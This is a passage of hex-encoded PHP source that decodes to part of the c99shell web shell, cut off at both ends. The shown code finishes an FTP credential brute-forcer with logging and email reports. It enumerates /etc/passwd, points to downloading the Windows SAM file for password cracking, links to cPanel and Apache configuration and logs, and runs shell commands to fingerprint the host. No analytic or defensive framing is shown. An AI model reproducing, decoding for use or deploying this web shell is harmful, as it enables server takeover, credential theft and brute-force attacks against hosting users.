29 3B 7D 0A 20 20 20 20 20 20 24 73 75 63 63 65 73 73 2B 2B 3B 0A 20 20 20 20 20 20 6F 62 5F 66 6C 75 73 68 28 29 3B 0A 20 20 20 20 20 7D 0A 20 20 20 20 20 69 66 20 28 24 69 20 3E 20 24 66 71 62 5F 6C 65 6E 67 68 74 29 20 7B 62 72 65 61 6B 3B 7D 0A 20 20 20 20 20 24 69 2B 2B 3B 0A 20 20 20 20 7D 0A 20 20 20 20 69 66 20 28 24 73 75 63 63 65 73 73 20 3D 3D 20 30 29 20 7B 65 63 68 6F 20 22 4E 6F 20 73 75 63 63 65 73 73 2E 20 63 6F 6E 6E 65 63 74 69 6F 6E 73 21 22 3B 20 24 66 71 62 5F 6C 6F 67 20 2E 3D 20 22 4E 6F 20 73 75 63 63 65 73 73 2E 20 63 6F 6E 6E 65 63 74 69 6F 6E 73 21 5C 72 5C 6E 22 3B 7D 0A 20 20 20 20 24 66 74 70 71 75 69 63 6B 5F 74 20 3D 20 72 6F 75 6E 64 28 67 65 74 6D 69 63 72 6F 74 69 6D 65 28 29 2D 24 66 74 70 71 75 69 63 6B 5F 73 74 2C 34 29 3B 0A 20 20 20 20 65 63 68 6F 20 22 3C 68 72 20 73 69 7A 65 3D 5C 22 31 5C 22 20 6E 6F 73 68 61 64 65 3E 3C 62 3E 44 6F 6E 65 21 3C 2F 62 3E 3C 62 72 3E 54 6F 74 61 6C 20 74 69 6D 65 20 28 73 65 63 73 2E 29 3A 20 22 2E 24 66 74 70 71 75 69 63 6B 5F 74 2E 22 3C 62 72 3E 54 6F 74 61 6C 20 63 6F 6E 6E 65 63 74 69 6F 6E 73 3A 20 22 2E 24 69 2E 22 3C 62 72 3E 53 75 63 63 65 73 73 2E 3A 20 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 3C 62 3E 22 2E 24 73 75 63 63 65 73 73 2E 22 3C 2F 62 3E 3C 2F 66 6F 6E 74 3E 3C 62 72 3E 55 6E 73 75 63 63 65 73 73 2E 3A 22 2E 28 24 69 2D 24 73 75 63 63 65 73 73 29 2E 22 3C 2F 62 3E 3C 62 72 3E 43 6F 6E 6E 65 63 74 73 20 70 65 72 20 73 65 63 6F 6E 64 3A 20 22 2E 72 6F 75 6E 64 28 24 69 2F 24 66 74 70 71 75 69 63 6B 5F 74 2C 32 29 2E 22 3C 62 72 3E 22 3B 0A 20 20 20 20 24 66 71 62 5F 6C 6F 67 20 2E 3D 20 22 5C 72 5C 6E 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 5C 72 5C 6E 44 6F 6E 65 21 5C 72 5C 6E 54 6F 74 61 6C 20 74 69 6D 65 20 28 73 65 63 73 2E 29 3A 20 22 2E 24 66 74 70 71 75 69 63 6B 5F 74 2E 22 5C 72 5C 6E 54 6F 74 61 6C 20 63 6F 6E 6E 65 63 74 69 6F 6E 73 3A 20 22 2E 24 69 2E 22 5C 72 5C 6E 53 75 63 63 65 73 73 2E 3A 20 22 2E 24 73 75 63 63 65 73 73 2E 22 5C 72 5C 6E 55 6E 73 75 63 63 65 73 73 2E 3A 22 2E 28 24 69 2D 24 73 75 63 63 65 73 73 29 2E 22 5C 72 5C 6E 43 6F 6E 6E 65 63 74 73 20 70 65 72 20 73 65 63 6F 6E 64 3A 20 22 2E 72 6F 75 6E 64 28 24 69 2F 24 66 74 70 71 75 69 63 6B 5F 74 2C 32 29 2E 22 5C 72 5C 6E 22 3B 0A 20 20 20 20 69 66 20 28 24 66 71 62 5F 6C 6F 67 66 70 29 20 7B 66 73 65 65 6B 28 24 66 71 62 5F 6C 6F 67 66 70 2C 30 29 3B 20 66 77 72 69 74 65 28 24 66 71 62 5F 6C 6F 67 66 70 2C 24 66 71 62 5F 6C 6F 67 2C 73 74 72 6C 65 6E 28 24 66 71 62 5F 6C 6F 67 29 29 3B 7D 0A 20 20 20 20 69 66 20 28 24 66 71 62 5F 6C 6F 67 65 6D 61 69 6C 29 20 7B 40 6D 61 69 6C 28 24 66 71 62 5F 6C 6F 67 65 6D 61 69 6C 2C 22 63 39 39 73 68 65 6C 6C 20 76 2E 20 22 2E 24 73 68 76 65 72 2E 22 20 72 65 70 6F 72 74 22 2C 24 66 71 62 5F 6C 6F 67 29 3B 7D 0A 20 20 20 20 66 63 6C 6F 73 65 28 24 66 71 62 5F 6C 6F 67 66 70 29 3B 0A 20 20 20 7D 0A 20 20 7D 0A 20 20 65 6C 73 65 0A 20 20 7B 0A 20 20 20 24 6C 6F 67 66 69 6C 65 20 3D 20 24 74 6D 70 64 69 72 5F 6C 6F 67 73 2E 22 63 39 39 73 68 5F 66 74 70 71 75 69 63 6B 62 72 75 74 65 5F 22 2E 64 61 74 65 28 22 64 2E 6D 2E 59 5F 48 5F 69 5F 73 22 29 2E 22 2E 6C 6F 67 22 3B 0A 20 20 20 24 6C 6F 67 66 69 6C 65 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 2F 2F 22 2C 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 24 6C 6F 67 66 69 6C 65 29 3B 0A 20 20 20 65 63 68 6F 20 22 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 5C 22 66 74 70 71 75 69 63 6B 62 72 75 74 65 5C 22 3E 3C 62 72 3E 52 65 61 64 20 66 69 72 73 74 3A 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 74 65 78 74 20 6E 61 6D 65 3D 5C 22 66 71 62 5F 6C 65 6E 67 68 74 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 6E 69 78 70 77 64 70 65 72 70 61 67 65 2E 22 5C 22 3E 3C 62 72 3E 3C 62 72 3E 55 73 65 72 73 20 6F 6E 6C 79 20 77 69 74 68 20 73 68 65 6C 6C 3F 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 66 71 62 5F 6F 6E 6C 79 77 69 74 68 73 68 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 3E 3C 62 72 3E 3C 62 72 3E 4C 6F 67 67 69 6E 67 3F 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 66 71 62 5F 6C 6F 67 67 69 6E 67 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 20 63 68 65 63 6B 65 64 3E 3C 62 72 3E 4C 6F 67 67 69 6E 67 20 74 6F 20 66 69 6C 65 3F 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 6E 61 6D 65 3D 5C 22 66 71 62 5F 6C 6F 67 66 69 6C 65 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 6C 6F 67 66 69 6C 65 2E 22 5C 22 20 73 69 7A 65 3D 5C 22 22 2E 28 73 74 72 6C 65 6E 28 24 6C 6F 67 66 69 6C 65 29 2B 32 2A 28 73 74 72 6C 65 6E 28 24 6C 6F 67 66 69 6C 65 29 2F 31 30 29 29 2E 22 5C 22 3E 3C 62 72 3E 4C 6F 67 67 69 6E 67 20 74 6F 20 65 2D 6D 61 69 6C 3F 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 6E 61 6D 65 3D 5C 22 66 71 62 5F 6C 6F 67 65 6D 61 69 6C 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 6C 6F 67 5F 65 6D 61 69 6C 2E 22 5C 22 20 73 69 7A 65 3D 5C 22 22 2E 28 73 74 72 6C 65 6E 28 24 6C 6F 67 65 6D 61 69 6C 29 2B 32 2A 28 73 74 72 6C 65 6E 28 24 6C 6F 67 65 6D 61 69 6C 29 2F 31 30 29 29 2E 22 5C 22 3E 3C 62 72 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 5C 22 42 72 75 74 65 5C 22 3E 3C 2F 66 6F 72 6D 3E 22 3B 0A 20 20 7D 0A 20 7D 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 64 22 29 0A 7B 0A 20 69 66 20 28 21 69 73 5F 64 69 72 28 24 64 29 29 20 7B 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 50 65 72 6D 69 73 69 6F 6E 20 64 65 6E 69 65 64 21 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 65 63 68 6F 20 22 3C 62 3E 44 69 72 65 63 74 6F 72 79 20 69 6E 66 6F 72 6D 61 74 69 6F 6E 3A 3C 2F 62 3E 3C 74 61 62 6C 65 20 62 6F 72 64 65 72 3D 30 20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 31 20 63 65 6C 6C 70 61 64 64 69 6E 67 3D 32 3E 22 3B 0A 20 20 69 66 20 28 21 24 77 69 6E 29 0A 20 20 7B 0A 20 20 20 65 63 68 6F 20 22 3C 74 72 3E 3C 74 64 3E 3C 62 3E 4F 77 6E 65 72 2F 47 72 6F 75 70 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 20 22 3B 0A 20 20 20 24 6F 77 20 3D 20 70 6F 73 69 78 5F 67 65 74 70 77 75 69 64 28 66 69 6C 65 6F 77 6E 65 72 28 24 64 29 29 3B 0A 20 20 20 24 67 72 20 3D 20 70 6F 73 69 78 5F 67 65 74 67 72 67 69 64 28 66 69 6C 65 67 72 6F 75 70 28 24 64 29 29 3B 0A 20 20 20 24 72 6F 77 5B 5D 20 3D 20 28 24 6F 77 5B 22 6E 61 6D 65 22 5D 3F 24 6F 77 5B 22 6E 61 6D 65 22 5D 3A 66 69 6C 65 6F 77 6E 65 72 28 24 64 29 29 2E 22 2F 22 2E 28 24 67 72 5B 22 6E 61 6D 65 22 5D 3F 24 67 72 5B 22 6E 61 6D 65 22 5D 3A 66 69 6C 65 67 72 6F 75 70 28 24 64 29 29 3B 0A 20 20 7D 0A 20 20 65 63 68 6F 20 22 3C 74 72 3E 3C 74 64 3E 3C 62 3E 50 65 72 6D 73 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 63 68 6D 6F 64 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 5C 22 3E 3C 62 3E 22 2E 76 69 65 77 5F 70 65 72 6D 73 5F 63 6F 6C 6F 72 28 24 64 29 2E 22 3C 2F 62 3E 3C 2F 61 3E 3C 74 72 3E 3C 74 64 3E 3C 62 3E 43 72 65 61 74 65 20 74 69 6D 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 20 22 2E 64 61 74 65 28 22 64 2F 6D 2F 59 20 48 3A 69 3A 73 22 2C 66 69 6C 65 63 74 69 6D 65 28 24 64 29 29 2E 22 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 74 72 3E 3C 74 64 3E 3C 62 3E 41 63 63 65 73 73 20 74 69 6D 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 20 22 2E 64 61 74 65 28 22 64 2F 6D 2F 59 20 48 3A 69 3A 73 22 2C 66 69 6C 65 61 74 69 6D 65 28 24 64 29 29 2E 22 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 74 72 3E 3C 74 64 3E 3C 62 3E 4D 4F 44 49 46 59 20 74 69 6D 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 20 22 2E 64 61 74 65 28 22 64 2F 6D 2F 59 20 48 3A 69 3A 73 22 2C 66 69 6C 65 6D 74 69 6D 65 28 24 64 29 29 2E 22 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 74 61 62 6C 65 3E 3C 62 72 3E 22 3B 0A 20 7D 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 70 68 70 69 6E 66 6F 22 29 20 7B 40 6F 62 5F 63 6C 65 61 6E 28 29 3B 20 70 68 70 69 6E 66 6F 28 29 3B 20 63 39 39 73 68 65 78 69 74 28 29 3B 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 73 65 63 75 72 69 74 79 22 29 0A 7B 0A 20 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 53 65 72 76 65 72 20 73 65 63 75 72 69 74 79 20 69 6E 66 6F 72 6D 61 74 69 6F 6E 3A 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 3C 62 3E 4F 70 65 6E 20 62 61 73 65 20 64 69 72 3A 20 22 2E 24 68 6F 70 65 6E 62 61 73 65 64 69 72 2E 22 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 69 66 20 28 21 24 77 69 6E 29 0A 20 7B 0A 20 20 69 66 20 28 24 6E 69 78 70 61 73 73 77 64 29 0A 20 20 7B 0A 20 20 20 69 66 20 28 24 6E 69 78 70 61 73 73 77 64 20 3D 3D 20 31 29 20 7B 24 6E 69 78 70 61 73 73 77 64 20 3D 20 30 3B 7D 0A 20 20 20 65 63 68 6F 20 22 3C 62 3E 2A 6E 69 78 20 2F 65 74 63 2F 70 61 73 73 77 64 3A 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 20 20 69 66 20 28 21 69 73 5F 6E 75 6D 65 72 69 63 28 24 6E 69 78 70 77 64 5F 73 29 29 20 7B 24 6E 69 78 70 77 64 5F 73 20 3D 20 30 3B 7D 0A 20 20 20 69 66 20 28 21 69 73 5F 6E 75 6D 65 72 69 63 28 24 6E 69 78 70 77 64 5F 65 29 29 20 7B 24 6E 69 78 70 77 64 5F 65 20 3D 20 24 6E 69 78 70 77 64 70 65 72 70 61 67 65 3B 7D 0A 20 20 20 65 63 68 6F 20 22 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 5C 22 73 65 63 75 72 69 74 79 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 5C 22 6E 69 78 70 61 73 73 77 64 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 3E 3C 62 3E 46 72 6F 6D 3A 3C 2F 62 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 3D 5C 22 20 6E 61 6D 65 3D 5C 22 6E 69 78 70 77 64 5F 73 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 6E 69 78 70 77 64 5F 73 2E 22 5C 22 3E 26 6E 62 73 70 3B 3C 62 3E 54 6F 3A 3C 2F 62 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 6E 61 6D 65 3D 5C 22 6E 69 78 70 77 64 5F 65 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 6E 69 78 70 77 64 5F 65 2E 22 5C 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 5C 22 56 69 65 77 5C 22 3E 3C 2F 66 6F 72 6D 3E 3C 62 72 3E 22 3B 0A 20 20 20 24 69 20 3D 20 24 6E 69 78 70 77 64 5F 73 3B 0A 20 20 20 77 68 69 6C 65 20 28 24 69 20 3C 20 24 6E 69 78 70 77 64 5F 65 29 0A 20 20 20 7B 0A 20 20 20 20 24 75 69 64 20 3D 20 70 6F 73 69 78 5F 67 65 74 70 77 75 69 64 28 24 69 29 3B 0A 20 20 20 20 69 66 20 28 24 75 69 64 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 75 69 64 5B 22 64 69 72 22 5D 20 3D 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 6C 73 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 75 69 64 5B 22 64 69 72 22 5D 29 2E 22 5C 22 3E 22 2E 24 75 69 64 5B 22 64 69 72 22 5D 2E 22 3C 2F 61 3E 22 3B 0A 20 20 20 20 20 65 63 68 6F 20 6A 6F 69 6E 28 22 3A 22 2C 24 75 69 64 29 2E 22 3C 62 72 3E 22 3B 0A 20 20 20 20 7D 0A 20 20 20 20 24 69 2B 2B 3B 0A 20 20 20 7D 0A 20 20 7D 0A 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 3C 62 72 3E 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 73 65 63 75 72 69 74 79 26 6E 69 78 70 61 73 73 77 64 3D 31 26 64 3D 22 2E 24 75 64 2E 22 5C 22 3E 3C 62 3E 3C 75 3E 47 65 74 20 2F 65 74 63 2F 70 61 73 73 77 64 3C 2F 75 3E 3C 2F 62 3E 3C 2F 61 3E 3C 62 72 3E 22 3B 7D 0A 20 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 24 76 20 3D 20 24 5F 53 45 52 56 45 52 5B 22 57 49 4E 44 49 52 22 5D 2E 22 5C 72 65 70 61 69 72 5C 73 61 6D 22 3B 0A 20 20 69 66 20 28 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 24 76 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 72 65 64 3E 59 6F 75 20 63 61 6E 27 74 20 63 72 61 63 6B 20 77 69 6E 6E 74 20 70 61 73 73 77 6F 72 64 73 28 22 2E 24 76 2E 22 29 20 3C 2F 66 6F 6E 74 3E 3C 2F 62 3E 3C 62 72 3E 22 3B 7D 0A 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 3C 62 3E 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 59 6F 75 20 63 61 6E 20 63 72 61 63 6B 20 77 69 6E 6E 74 20 70 61 73 73 77 6F 72 64 73 2E 20 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 73 61 6D 26 64 3D 22 2E 24 5F 53 45 52 56 45 52 5B 22 57 49 4E 44 49 52 22 5D 2E 22 5C 5C 72 65 70 61 69 72 26 66 74 3D 64 6F 77 6E 6C 6F 61 64 5C 22 3E 3C 75 3E 3C 62 3E 44 6F 77 6E 6C 6F 61 64 3C 2F 62 3E 3C 2F 75 3E 3C 2F 61 3E 2C 20 61 6E 64 20 75 73 65 20 6C 63 70 2E 63 72 61 63 6B 2B 20 C2 A9 2E 3C 2F 66 6F 6E 74 3E 3C 2F 62 3E 3C 62 72 3E 22 3B 7D 0A 20 7D 0A 20 69 66 20 28 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 22 2F 65 74 63 2F 75 73 65 72 64 6F 6D 61 69 6E 73 22 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 75 73 65 72 64 6F 6D 61 69 6E 73 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 22 2F 65 74 63 22 29 2E 22 26 66 74 3D 74 78 74 5C 22 3E 3C 75 3E 3C 62 3E 56 69 65 77 20 63 70 61 6E 65 6C 20 75 73 65 72 2D 64 6F 6D 61 69 6E 73 20 6C 6F 67 73 3C 2F 62 3E 3C 2F 75 3E 3C 2F 61 3E 3C 2F 66 6F 6E 74 3E 3C 2F 62 3E 3C 62 72 3E 22 3B 7D 0A 20 69 66 20 28 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 22 2F 76 61 72 2F 63 70 61 6E 65 6C 2F 61 63 63 6F 75 6E 74 69 6E 67 2E 6C 6F 67 22 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 61 63 63 6F 75 6E 74 69 6E 67 2E 6C 6F 67 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 22 2F 76 61 72 2F 63 70 61 6E 65 6C 2F 22 29 2E 22 5C 22 26 66 74 3D 74 78 74 3E 3C 75 3E 3C 62 3E 56 69 65 77 20 63 70 61 6E 65 6C 20 6C 6F 67 73 3C 2F 62 3E 3C 2F 75 3E 3C 2F 61 3E 3C 2F 66 6F 6E 74 3E 3C 2F 62 3E 3C 62 72 3E 22 3B 7D 0A 20 69 66 20 28 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 22 2F 75 73 72 2F 6C 6F 63 61 6C 2F 61 70 61 63 68 65 2F 63 6F 6E 66 2F 68 74 74 70 64 2E 63 6F 6E 66 22 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 68 74 74 70 64 2E 63 6F 6E 66 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 22 2F 75 73 72 2F 6C 6F 63 61 6C 2F 61 70 61 63 68 65 2F 63 6F 6E 66 22 29 2E 22 26 66 74 3D 74 78 74 5C 22 3E 3C 75 3E 3C 62 3E 41 70 61 63 68 65 20 63 6F 6E 66 69 67 75 72 61 74 69 6F 6E 20 28 68 74 74 70 64 2E 63 6F 6E 66 29 3C 2F 62 3E 3C 2F 75 3E 3C 2F 61 3E 3C 2F 66 6F 6E 74 3E 3C 2F 62 3E 3C 62 72 3E 22 3B 7D 0A 20 69 66 20 28 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 22 2F 65 74 63 2F 68 74 74 70 64 2E 63 6F 6E 66 22 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 68 74 74 70 64 2E 63 6F 6E 66 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 22 2F 65 74 63 22 29 2E 22 26 66 74 3D 74 78 74 5C 22 3E 3C 75 3E 3C 62 3E 41 70 61 63 68 65 20 63 6F 6E 66 69 67 75 72 61 74 69 6F 6E 20 28 68 74 74 70 64 2E 63 6F 6E 66 29 3C 2F 62 3E 3C 2F 75 3E 3C 2F 61 3E 3C 2F 66 6F 6E 74 3E 3C 2F 62 3E 3C 62 72 3E 22 3B 7D 0A 20 69 66 20 28 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 22 2F 65 74 63 2F 73 79 73 6C 6F 67 2E 63 6F 6E 66 22 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 73 79 73 6C 6F 67 2E 63 6F 6E 66 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 22 2F 65 74 63 22 29 2E 22 26 66 74 3D 74 78 74 5C 22 3E 3C 75 3E 3C 62 3E 53 79 73 6C 6F 67 20 63 6F 6E 66 69 67 75 72 61 74 69 6F 6E 20 28 73 79 73 6C 6F 67 2E 63 6F 6E 66 29 3C 2F 62 3E 3C 2F 75 3E 3C 2F 61 3E 3C 2F 66 6F 6E 74 3E 3C 2F 62 3E 3C 62 72 3E 22 3B 7D 0A 20 69 66 20 28 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 22 2F 65 74 63 2F 6D 6F 74 64 22 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 6D 6F 74 64 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 22 2F 65 74 63 22 29 2E 22 26 66 74 3D 74 78 74 5C 22 3E 3C 75 3E 3C 62 3E 4D 65 73 73 61 67 65 20 4F 66 20 54 68 65 20 44 61 79 3C 2F 62 3E 3C 2F 75 3E 3C 2F 61 3E 3C 2F 66 6F 6E 74 3E 3C 2F 62 3E 3C 62 72 3E 22 3B 7D 0A 20 69 66 20 28 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 22 2F 65 74 63 2F 68 6F 73 74 73 22 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 68 6F 73 74 73 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 22 2F 65 74 63 22 29 2E 22 26 66 74 3D 74 78 74 5C 22 3E 3C 75 3E 3C 62 3E 48 6F 73 74 73 3C 2F 62 3E 3C 2F 75 3E 3C 2F 61 3E 3C 2F 66 6F 6E 74 3E 3C 2F 62 3E 3C 62 72 3E 22 3B 7D 0A 20 66 75 6E 63 74 69 6F 6E 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 24 6E 61 6D 65 2C 24 76 61 6C 75 65 29 20 7B 69 66 20 28 21 65 6D 70 74 79 28 24 76 61 6C 75 65 29 29 20 7B 69 66 20 28 21 65 6D 70 74 79 28 24 6E 61 6D 65 29 29 20 7B 24 6E 61 6D 65 20 3D 20 22 3C 62 3E 22 2E 24 6E 61 6D 65 2E 22 20 2D 20 3C 2F 62 3E 22 3B 7D 20 65 63 68 6F 20 24 6E 61 6D 65 2E 6E 6C 32 62 72 28 24 76 61 6C 75 65 29 2E 22 3C 62 72 3E 22 3B 7D 7D 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 4F 53 20 56 65 72 73 69 6F 6E 3F 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 63 61 74 20 2F 70 72 6F 63 2F 76 65 72 73 69 6F 6E 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 4B 65 72 6E 65 6C 20 76 65 72 73 69 6F 6E 3F 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 73 79 73 63 74 6C 20 2D 61 20 7C 20 67 72 65 70 20 76 65 72 73 69 6F 6E 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 44 69 73 74 72 69 62 20 6E 61 6D 65 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 63 61 74 20 2F 65 74 63 2F 69 73 73 75 65 2E 6E 65 74 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 44 69 73 74 72 69 62 20 6E 61 6D 65 20 28 32 29 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 63 61 74 20 2F 65 74 63 2F 2A 2D 72 65 61 6C 69 73 65 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 43 50 55 3F 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 63 61 74 20 2F 70 72 6F 63 2F 63 70 75 69 6E 66 6F 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 52 41 4D 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 66 72 65 65 20 2D 6D 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 48 44 44 20 73 70 61 63 65 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 64 66 20 2D 68 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 4C 69 73 74 20 6F 66 20 41 74 74 72 69 62 75 74 65 73 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 6C 73 61 74 74 72 20 2D 61 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 65 63 69 6E 66 6F 28 22 4D 6F 75 6E 74 20 6F 70 74 69 6F 6E 73 20 22 2C 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 63 61 74 20 2F 65 74 63 2F 66 73 74 61 62 22 29 29 3B 0A 20 64 69 73 70 6C 61 79 73 